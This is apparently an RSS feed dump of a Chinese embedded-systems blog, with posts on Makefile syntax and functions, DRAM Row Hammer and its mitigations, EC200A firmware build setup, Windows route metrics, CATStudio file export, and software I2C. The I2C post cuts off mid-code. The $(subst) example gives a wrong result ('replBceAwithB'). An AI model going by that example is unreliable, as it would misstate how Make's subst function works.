<p>变量名可以数字开头，区分大小写，定义方法:</p>
<p>变量名=变量值</p>
<p>如：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-makefile" data-lang="makefile"><span class="line"><span class="cl"><span class="nv">SRCS</span><span class="o">=</span><span class="k">$(</span>wildcard src/*.c<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">HDRS</span><span class="o">=</span><span class="k">$(</span>wildcard src/*.h<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">OBJS</span><span class="o">=</span><span class="k">$(</span>patsubst src/%.c, obj/%.o, <span class="k">$(</span>SRCS<span class="k">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>使用变量的值：</p>
<p>$(变量名)或${变量名}</p>
<p>如：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-makefile" data-lang="makefile"><span class="line"><span class="cl"><span class="nf">rvemu</span><span class="o">:</span> <span class="k">$(</span><span class="nv">OBJS</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">	<span class="k">$(</span>CC<span class="k">)</span> <span class="k">$(</span>CFLAGS<span class="k">)</span> -lm -o <span class="nv">$@</span> $^ <span class="k">$(</span>LDFLAGS<span class="k">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h4 id="自动变量">自动变量</h4>
<table>
<thead>
<tr>
<th>$@</th>
<th>目标名</th>
</tr>
</thead>
<tbody>
<tr>
<td>$&lt;</td>
<td>依赖文件列表中的第一个文件</td>
</tr>
<tr>
<td>$^</td>
<td>依赖文件列表中除去重复文件的部分</td>
</tr>
<tr>
<td>$*</td>
<td>不包含扩展名的目标文件名称</td>
</tr>
<tr>
<td>$+</td>
<td>所有的依赖文件，以空格分开，并以出现的先后为序，可能包含重复的依赖文件</td>
</tr>
<tr>
<td>$?</td>
<td>所有时间戳比目标文件晚的依赖文件，并以空格分开</td>
</tr>
<tr>
<td>$%</td>
<td>如果目标是归档成员，则该变量表示目标的归档成员名称</td>
</tr>
</tbody>
</table>
<p>如：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-makefile" data-lang="makefile"><span class="line"><span class="cl"><span class="nf">rvemu</span><span class="o">:</span> <span class="k">$(</span><span class="nv">OBJS</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">	<span class="k">$(</span>CC<span class="k">)</span> <span class="k">$(</span>CFLAGS<span class="k">)</span> -lm -o <span class="nv">$@</span> $^ <span class="k">$(</span>LDFLAGS<span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nf">$(OBJS)</span><span class="o">:</span> <span class="n">obj</span>/%.<span class="n">o</span>: <span class="n">src</span>/%.<span class="n">c</span> <span class="k">$(</span><span class="nv">HDRS</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">	@mkdir -p <span class="nv">$$</span><span class="o">(</span>dirname <span class="nv">$@</span><span class="o">)</span>
</span></span><span class="line"><span class="cl">	<span class="k">$(</span>CC<span class="k">)</span> <span class="k">$(</span>CFLAGS<span class="k">)</span> -c -o <span class="nv">$@</span> $&lt;
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="通配符">通配符</h3>
<p>在规则中可以使用通配符：</p>
<table>
<thead>
<tr>
<th>*</th>
<th>匹配任意长度的任意字符序列。例如，<code>*.c</code> 匹配所有以 <code>.c</code> 结尾的文件。</th>
</tr>
</thead>
<tbody>
<tr>
<td>?</td>
<td>匹配任意单个字符。例如，<code>file?.txt</code> 可以匹配 <code>file1.txt</code>, <code>file2.txt</code>,等。</td>
</tr>
<tr>
<td>[]</td>
<td>匹配方括号内的任意一个字符。例如，<code>file[123].txt</code> 可以匹配 <code>file1.txt</code>, <code>file2.txt</code>, <code>file3.txt</code>。</td>
</tr>
</tbody>
</table>
<p>如：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-makefile" data-lang="makefile"><span class="line"><span class="cl"><span class="nv">SRCS</span><span class="o">=</span><span class="k">$(</span>wildcard src/*.c<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nf">clean</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">    rm -f *.o
</span></span></code></pre></td></tr></table>
</div>
</div><p>在 Makefile 中，<code>%</code> 通配符用于模式规则（pattern rules）中，表示匹配任意字符序列。</p>
<p>如：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-makefile" data-lang="makefile"><span class="line"><span class="cl"><span class="nv">OBJS</span><span class="o">=</span><span class="k">$(</span>patsubst src/%.c, obj/%.o, <span class="k">$(</span>SRCS<span class="k">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="函数">函数</h3>
<p>Makefile 中有很多内建函数。以下是一些常见的内建函数及其功能：</p>
<ul>
<li>
<p>$(subst from, to, text)：在 text 中替换 from 为 to。
STR := replaceAwithB
RESULT := $(subst A, B, $(STR))</p>
<p>RESULT 的值将是 &ldquo;replBceAwithB&rdquo;</p>
</li>
<li>
<p>$(patsubst pattern, replacement, text)：对 text 进行模式替换，将符合 pattern 的字符串替换为 replacement。
SOURCES := file1.c file2.c file3.c
OBJECTS := $(patsubst %.c,%.o,$(SOURCES))</p>
<p>OBJECTS 的值将是 &ldquo;file1.o file2.o file3.o&rdquo;</p>
</li>
<li>
<p>$(strip string)：删除 string 首尾的空白字符（空格和制表符）。
STR =     This is a string
RESULT := $(strip $(STR))
RESULT 的值将是 &ldquo;This is a string&rdquo;</p>
</li>
<li>
<p>$(findstring find, in)：在字符串 in 中查找子串 find，如果找到，返回 find，否则返回空字符串。
IFDEF_TEST := $(findstring <em>TEST</em>, $(DEFINES))
$(filter pattern, text)：从 text 中选择符合 pattern 的字符串。支持 ? 和 % 通配符。
FILES := a.c b.h c.cpp d.hpp
C_FILES :=\$(filter %.c %.cpp, $(FILES))
C_FILES 的值将是 &ldquo;a.c c.cpp&rdquo;</p>
</li>
<li>
<p>$(filter-out pattern, text)：从 text 中排除符合 pattern 的字符串。支持 ? 和 % 通配符。
FILES := a.c b.h c.cpp d.hpp
NOT_C_FILES := $(filter-out %.c %.cpp, $(FILES))</p>
<p>NOT_C_FILES 的值将是 &ldquo;b.h d.hpp&rdquo;</p>
</li>
<li>
<p>$(sort list)：对 list 中的单词进行排序并删除重复项。
WORDS := Z A A C B Y
UNIQUE_SORTED :=\ $(sort $(WORDS))
UNIQUE_SORTED 的值将是 &ldquo;A B C Y Z&rdquo;</p>
</li>
<li>
<p>$(dir names)：返回 names 中各文件的目录部分，包括最后的斜杠。
FILES := src/a.c include/b.h
DIRS := $(dir $(FILES))
DIRS 的值将是 &ldquo;src/ include/&rdquo;</p>
</li>
<li>
<p>$(wildcard pattern)：返回符合 pattern 的文件列表。
C_FILES := $(wildcard *.c)</p>
</li>
</ul>
<p>这只是 Makefile 中内建函数的一部分。更多函数和详细使用方法，可以查阅 GNU Make 的官方文档：
<a href="https://www.gnu.org/software/make/manual/make.html">https://www.gnu.org/software/make/manual/make.html</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>DRAM &#34;Row Hammer&#34; 问题</title>
      <link>https://hacperme.com/posts/notes/20230518_dram_row_hammer/</link>
      <pubDate>Thu, 18 May 2023 23:11:21 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20230518_dram_row_hammer/</guid>
      <description>最近遇到一个在 RAM 中某个比特位数据翻转导致的死机问题，在排查解决过程中进而了解到 DRAM &amp;ldquo;Row Hammer&amp;rdquo; 现象。</description>
      <content:encoded><![CDATA[<h2 id="背景">背景</h2>
<p>最近遇到一个内存被破坏的死机问题，一开始排查以为是应用程序踩内存导致 heap 被破坏，后面排查发现是内存中某一个比特位发生翻转，由 0 变成 1，或者由 1 变成 0，导致程序读取数据异常触发死机，最后靠提供 pSRAM 的刷新率来规避该问题。在解决这个问题的过程中了解到 DRAM 的 &ldquo;Row Hammer&rdquo; 现象，我也是第一次遇到，做一下知识总结。</p>
<h2 id="什么是-row-hammer-现象">什么是 &ldquo;Row Hammer&rdquo; 现象？</h2>
<p>&ldquo;Row Hammer&rdquo; 翻译过来叫 “行锤”，是目前所有 DRAM 类型存储器存在的一个硬件问题。&ldquo;Row Hammer&rdquo; 现象是指对 DRAM 的某一行内存高频率地反复进行读写，会对其相邻行内存造成冲击。如果在一个刷新周期内对同一个内存单元读写超过了一定次数，那么可能导致相邻的内存单元的位状态改变，从而造成数据丢失和损坏，这并不是永久性的内存数据破坏，正常情况下，下一次刷新时间到了，可以恢复原来正常数据状态。</p>
<h2 id="row-hammer-产生的原因">&ldquo;Row Hammer&rdquo; 产生的原因</h2>
<p>随着 DRAM 制造工艺的发展，DRAM 的存储密度不断增大，内存单元体积也不断缩小，其存储的电荷数量也随之减小，内存单元之间噪声容限降低，导致相互独立的 2 个内存单元之间的电荷相互影响。如果反复高频率地访问同一行内存，则来自过度激活行的电荷会泄漏到相邻行中，导致位反转现象，即0反转为1，1反转为0。</p>
<h2 id="规避方法">规避方法</h2>
<p>一种简单有效的方法是提高 DRAM 的刷新率，刷新率越高，在刷新周期内的读写次数越少，从而减少出现 Row Hammer 的概率。提高刷新率的缺点是会干扰 DRAM 的访问，减慢系统速度，同时增加内存的功耗。</p>
<p>其他规避方法：</p>
<ul>
<li>ECC（error corrected code），缺点也是会降低系统访问速度，同时增加成本。</li>
<li>PARA（probabilistic adjacent row activation），PARA技术的主要原理是每当一个行关闭时，内存控制器都会以一定的概率来刷新该行邻接行的值</li>
<li>TRR（target row refresh），这种技术采用了一种特殊模块，从而可以跟踪记录内存中哪些行经常被激活，并且刷新这些激活行相邻行的值。</li>
</ul>
<h2 id="参考资料">参考资料</h2>
<ul>
<li><a href="https://thememoryguy.com/what-is-dram-row-hammer/">What is DRAM “Row Hammer”?</a></li>
<li><a href="http://www.infocomm-journal.com/cjnis/article/2018/2096-109x/2096-109x-4-1-00069.shtml">Row Hammer漏洞攻击研究</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>【EC200A 学习笔记】-- 搭建开发环境</title>
      <link>https://hacperme.com/posts/series/asr1803/20230514_ec200a_notes_setup_env/</link>
      <pubDate>Sun, 14 May 2023 00:49:37 +0800</pubDate>
      <guid>https://hacperme.com/posts/series/asr1803/20230514_ec200a_notes_setup_env/</guid>
      <description>软件安装包和环境概览 VMware 虚拟机，运行 ubuntu 系统，用于源码编译。 Quectel_Windows_USB_Driver(A)_Customer_V1.0.9.zip usb 驱动，烧写固件查看日志的前提。 CATStudio 日志工具 MobaXterm 非必须，看串口日志，登录系统。 adb 传输文</description>
      <content:encoded><![CDATA[<h2 id="软件安装包和环境概览">软件安装包和环境概览</h2>
<ul>
<li>
<p>VMware
虚拟机，运行 ubuntu 系统，用于源码编译。</p>
</li>
<li>
<p>Quectel_Windows_USB_Driver(A)_Customer_V1.0.9.zip
usb 驱动，烧写固件查看日志的前提。</p>
</li>
<li>
<p>CATStudio
日志工具</p>
</li>
<li>
<p>MobaXterm</p>
<p>非必须，看串口日志，登录系统。</p>
</li>
<li>
<p>adb</p>
<p>传输文件，登录shell等。</p>
</li>
<li>
<p>SWDownloader_4_9_0_4.7z</p>
<p>烧写固件工具</p>
</li>
</ul>
<h2 id="步骤">步骤</h2>
<h3 id="安装软件依赖">安装软件依赖</h3>
<p>安装 ubuntu 2202.4 虚拟机环境，尝试过 wsl2 ， 编译不行，还是得上 VMware。</p>
<p>ubuntu  需要安装软件包：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo apt install build-essential bison flex zlib1g-dev libncurses5-dev subversion quilt intltool ruby fastjar zip unzip gawk git-core python-is-python3 python3 -y
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="获取代码">获取代码</h3>
<p>配置 git：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">abc@abc-virtual-machine:~$ git config --global user.name abc.abc
</span></span><span class="line"><span class="cl">abc@abc-virtual-machine:~$ git config --global user.email abc.abc@abc.com
</span></span></code></pre></td></tr></table>
</div>
</div><p>配置ssh：</p>
<p>密钥已经有了，且添加公钥到了 gitlab 服务器上，这里只拷贝添加一下私钥，用于拉代码。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">cd</span> ~
</span></span><span class="line"><span class="cl">mkdir .ssh
</span></span><span class="line"><span class="cl"><span class="nb">cd</span> .ssh/
</span></span><span class="line"><span class="cl">mv ~/Desktop/id_rsa_p_id_ed25519 .
</span></span><span class="line"><span class="cl">sudo chmod <span class="m">400</span> id_rsa_p_id_ed25519 
</span></span><span class="line"><span class="cl">ssh-add id_rsa_p_id_ed25519
</span></span><span class="line"><span class="cl">ssh-agent 
</span></span></code></pre></td></tr></table>
</div>
</div><p>拉取代码：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">git clone ssh://git@git-master.quectel.com:8407/ec200a/ec200a_linux.git -b master_r02
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="编译">编译</h3>
<p>编译命令：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># 配置环境变量</span>
</span></span><span class="line"><span class="cl"><span class="nb">source</span> package/quectel/compile/ql_build_config
</span></span><span class="line"><span class="cl"><span class="c1"># 查看可选配置</span>
</span></span><span class="line"><span class="cl">buildconfig
</span></span><span class="line"><span class="cl"><span class="c1"># 配置编译的目标产品</span>
</span></span><span class="line"><span class="cl">buildconfig EC200A_ELAA EC200A_ELAA_v01 STD
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 执行编译</span>
</span></span><span class="line"><span class="cl">build_fw
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="烧录">烧录</h3>
<p>烧写固件之前需要安装 usb 驱动，解压 Quectel_Windows_USB_Driver(A)_Customer_V1.0.9.zip 压缩包进行安装即可。</p>
<p>生成固件在路径：<code>bin/target</code></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">abc@abc-virtual-machine:~/ec200a_linux$ tree bin/target/
</span></span><span class="line"><span class="cl">bin/target/
</span></span><span class="line"><span class="cl">├── EC20001A01M1G
</span></span><span class="line"><span class="cl">│   ├── dbg
</span></span><span class="line"><span class="cl">│   │   ├── Boerne_DIAG.mdb.txt
</span></span><span class="line"><span class="cl">│   │   ├── CRANE_DS_XIP_DM_GENERIC_DIAG.mdb
</span></span><span class="line"><span class="cl">│   │   ├── CRANE_DS_XIP_DM_GENERIC_NVM.mdb
</span></span><span class="line"><span class="cl">│   │   └── MDB.txt
</span></span><span class="line"><span class="cl">│   ├── mversion
</span></span><span class="line"><span class="cl">│   └── update
</span></span><span class="line"><span class="cl">│       ├── ARBEL.bin
</span></span><span class="line"><span class="cl">│       ├── MSA.bin
</span></span><span class="line"><span class="cl">│       ├── oem_data.ubi
</span></span><span class="line"><span class="cl">│       ├── quectel_skylark_pm802_standard_AB_1G.blf
</span></span><span class="line"><span class="cl">│       ├── RFPLUGIN.bin
</span></span><span class="line"><span class="cl">│       ├── root.squashfs
</span></span><span class="line"><span class="cl">│       ├── TLoader_QSPINAND.bin
</span></span><span class="line"><span class="cl">│       ├── u-boot.bin
</span></span><span class="line"><span class="cl">│       └── zImage
</span></span><span class="line"><span class="cl">├── EC20001A01M1G_fota
</span></span><span class="line"><span class="cl">│   ├── md5sums
</span></span><span class="line"><span class="cl">│   ├── mversion
</span></span><span class="line"><span class="cl">│   └── update
</span></span><span class="line"><span class="cl">│       ├── quectel_skylark_pm802_AB_OTA_local.img
</span></span><span class="line"><span class="cl">│       ├── quectel_skylark_pm802_AB_OTA_url.img
</span></span><span class="line"><span class="cl">│       └── quectel_skylark_pm802_standard_AB_1G.blf
</span></span><span class="line"><span class="cl">└── EC20001A01M1G.zip
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="m">5</span> directories, <span class="m">20</span> files
</span></span></code></pre></td></tr></table>
</div>
</div><p>烧录使用 SWDownloader 工具打开 quectel_skylark_pm802_standard_AB_1G.blf，先点击左上角绿色的指示灯按钮，复位模组即可进行固件烧写。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230426140707714.5zgpr7hxqyw0.webp" alt=""  />
</p>
]]></content:encoded>
    </item>
    <item>
      <title>windows 10 设置网卡优先级</title>
      <link>https://hacperme.com/posts/notes/20230514_win10_set_network_pro/</link>
      <pubDate>Sun, 14 May 2023 00:12:17 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20230514_win10_set_network_pro/</guid>
      <description>背景 工作中需要连接内网（以太网）和访客网络（WiFi），内网有一些限制，会有一些网站无法访问。同时接入内网和外网，有时候上网网络默认会走内网</description>
      <content:encoded><![CDATA[<h2 id="背景">背景</h2>
<p>工作中需要连接内网（以太网）和访客网络（WiFi），内网有一些限制，会有一些网站无法访问。同时接入内网和外网，有时候上网网络默认会走内网路由导致无法上网，所以不得不临时禁用内网，此时内网机器又会断连&hellip;，浪费时间在两个网络切来切去。</p>
<p>后面想了一下，是否可以设置上网时的网卡的优先级呢，优先使用WiFi的访客网络，其次才用内网。网上查了一下方法，还真可以。</p>
<h2 id="设置网卡优先级方法">设置网卡优先级方法</h2>
<p>其实是通过修改路由的跃点数来修改网络的优先级的，跃点越小，优先级越高，按照下图，在控制面版将外网的跃点数修改到小于内网的跃点数，优先使用外网。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.41b7n08kiyi0.webp" alt=""  />
</p>
<p>内网访问，再添加固定路由：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="n">route</span> <span class="n">add</span> <span class="n">-p</span> <span class="mf">192.168</span><span class="p">.</span><span class="py">92</span><span class="p">.</span><span class="py">208</span> <span class="n">mask</span> <span class="mf">255.255</span><span class="p">.</span><span class="py">255</span><span class="p">.</span><span class="py">0</span> <span class="mf">192.168</span><span class="p">.</span><span class="py">92</span><span class="p">.</span><span class="py">13</span> <span class="n">metric</span> <span class="mf">3</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="参考">参考</h2>
<ul>
<li><a href="https://lvbibir.cn/archives/791">windows双网卡时设置网络优先级</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>EC200A 通过 CATsudio 导出系统文件方法</title>
      <link>https://hacperme.com/posts/series/asr1803/20230512_catstudio_fileexplorer/</link>
      <pubDate>Fri, 12 May 2023 00:16:46 +0800</pubDate>
      <guid>https://hacperme.com/posts/series/asr1803/20230512_catstudio_fileexplorer/</guid>
      <description>介绍 ASR EC200A 平台可以通过CATsudio 的 Flashexplorer 导出模组文件系统内的文件。除了文件导出，Flashexplorer 也支持文件的增删查改。 使用步骤 先要</description>
      <content:encoded><![CDATA[<h2 id="介绍">介绍</h2>
<p>ASR EC200A 平台可以通过CATsudio 的 Flashexplorer 导出模组文件系统内的文件。除了文件导出，Flashexplorer 也支持文件的增删查改。</p>
<h2 id="使用步骤">使用步骤</h2>
<p>先要匹配 mdb 文件，EC200A 有两个mdb 文件， 一个是cp侧的（MDB.txt），另一个是ap侧的（Boerne_DIAG.mdb.txt）。</p>
<p>两个文件更新之后，右上角两个图标显示绿色，表示匹配正确。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230324134658891.5xq6v7uiod40.png" alt=""  />
</p>
<p>然后在工具栏选择 Flashexplorer</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230324135129870.5u1r8n5beic0.png" alt=""  />
</p>
<p>注意 EC200A 要选择 Application Core，与 cat 1 的不同之处。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230324134938806.5rxqq83vww80.png" alt=""  />
</p>
<p>之后会显示文件目录树，在下面的窗口，可以对这些文件进行打开，修改、重命名等动作。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230324134529099.5yb2ceehy140.png" alt=""  />
</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230324134604315.76fdytdh6go0.png" alt=""  />
</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230324134604315.76fdytdh6go0.png" alt=""  />
</p>
<h2 id="参考文档">参考文档</h2>
<ul>
<li>《FlashExplorer_UserGuide_chs.pdf》</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>软件模拟 I2C 协议实现笔记</title>
      <link>https://hacperme.com/posts/notes/20230508_i2c_note/</link>
      <pubDate>Wed, 10 May 2023 00:08:18 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20230508_i2c_note/</guid>
      <description>从 GPIO 模拟 I2C 的实现的角度，再学习一次 I2C 协议。</description>
      <content:encoded><![CDATA[<h2 id="背景">背景</h2>
<p>最近一个项目调试屏幕驱动，通信接口是I2C，由于硬件设计上的原因，不得不使用 GPIO 模拟 I2C 的方式与屏幕通信，所以在网上找了一下模拟 I2C 的实现，最终选择了 github 上的 soft-i2c 项目，链接： <a href="https://github.com/liyanboy74/soft-i2c">https://github.com/liyanboy74/soft-i2c</a> ，借助软件模拟 I2C 代码的实现，再来学习一下 I2C 通信协议。</p>
<h2 id="i2c-介绍">I2C 介绍</h2>
<p>I2C 在硬件上有两个信号信号线，SCL 和 SDA。</p>
<ul>
<li>SCL ：时钟信号，由主机控制。</li>
<li>SDA： 数据信号，主机和从机都可以控制，SDA 带上拉电阻。</li>
</ul>
<p>由于只有一根数据线，所以主机和从机之间只能是半双工通信。</p>
<p>I2C 通信的几个阶段：</p>
<ul>
<li>
<p>空闲状态：SCL 和 SDA 都为 1，高电平。</p>
</li>
<li>
<p>发送起始信号：主机首先拉低 SDA，然后拉低 SCL，表示开始通信。</p>
</li>
<li>
<p>数据通信：发送数据和应答。发送数据时，在 SCL上升沿采样数据，期间需要保持 SDA 信号不变，然后在 SCL下降沿修改数据。</p>
<p>每发送一个字节数据都要回应，ACK 是低电平有效，0 表示接收成功，1 表示失败。</p>
<p>标准通信协议：先发 7 位从机地址和读写标志（0 表示写，1 表示读），后面根据从机协议定义，再发寄存器地址或者其他控制指令。</p>
</li>
<li>
<p>发送结束信号：主机首先拉高 SCL，然后拉高 SDA，表示通信结束。</p>
</li>
</ul>
<p>其他的特点总结：</p>
<ul>
<li>采用主从结构，支持一主多从。</li>
<li>可靠性高，每发送一个字节都有应答 ACK 。</li>
</ul>
<h2 id="接口定义">接口定义</h2>
<p>数据结构定义了硬件相关的一些操作，比如设置 GPIO 的输入输出方向、读写 GPIO 电平 、硬件初始化和微秒级延时。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">typedef</span> <span class="k">enum</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">HAL_IO_OPT_SET_SDA_LOW</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">HAL_IO_OPT_SET_SDA_HIGH</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">HAL_IO_OPT_SET_SCL_LOW</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">HAL_IO_OPT_SET_SCL_HIGH</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">HAL_IO_OPT_SET_SDA_INPUT</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">HAL_IO_OPT_SET_SDA_OUTPUT</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">HAL_IO_OPT_SET_SCL_INPUT</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">HAL_IO_OPT_SET_SCL_OUTPUT</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">HAL_IO_OPT_GET_SDA_LEVEL</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">HAL_IO_OPT_GET_SCL_LEVEL</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span><span class="n">hal_io_opt_e</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">typedef</span> <span class="k">struct</span> <span class="n">sw_i2c_s</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">hal_init</span><span class="p">)(</span><span class="kt">void</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">hal_io_ctl</span><span class="p">)(</span><span class="n">hal_io_opt_e</span> <span class="n">opt</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">arg</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">hal_delay_us</span><span class="p">)(</span><span class="kt">uint32_t</span> <span class="n">us</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span> <span class="kt">sw_i2c_t</span><span class="p">;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>在应用接口定义上，主要是初始化和读写数据的接口。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
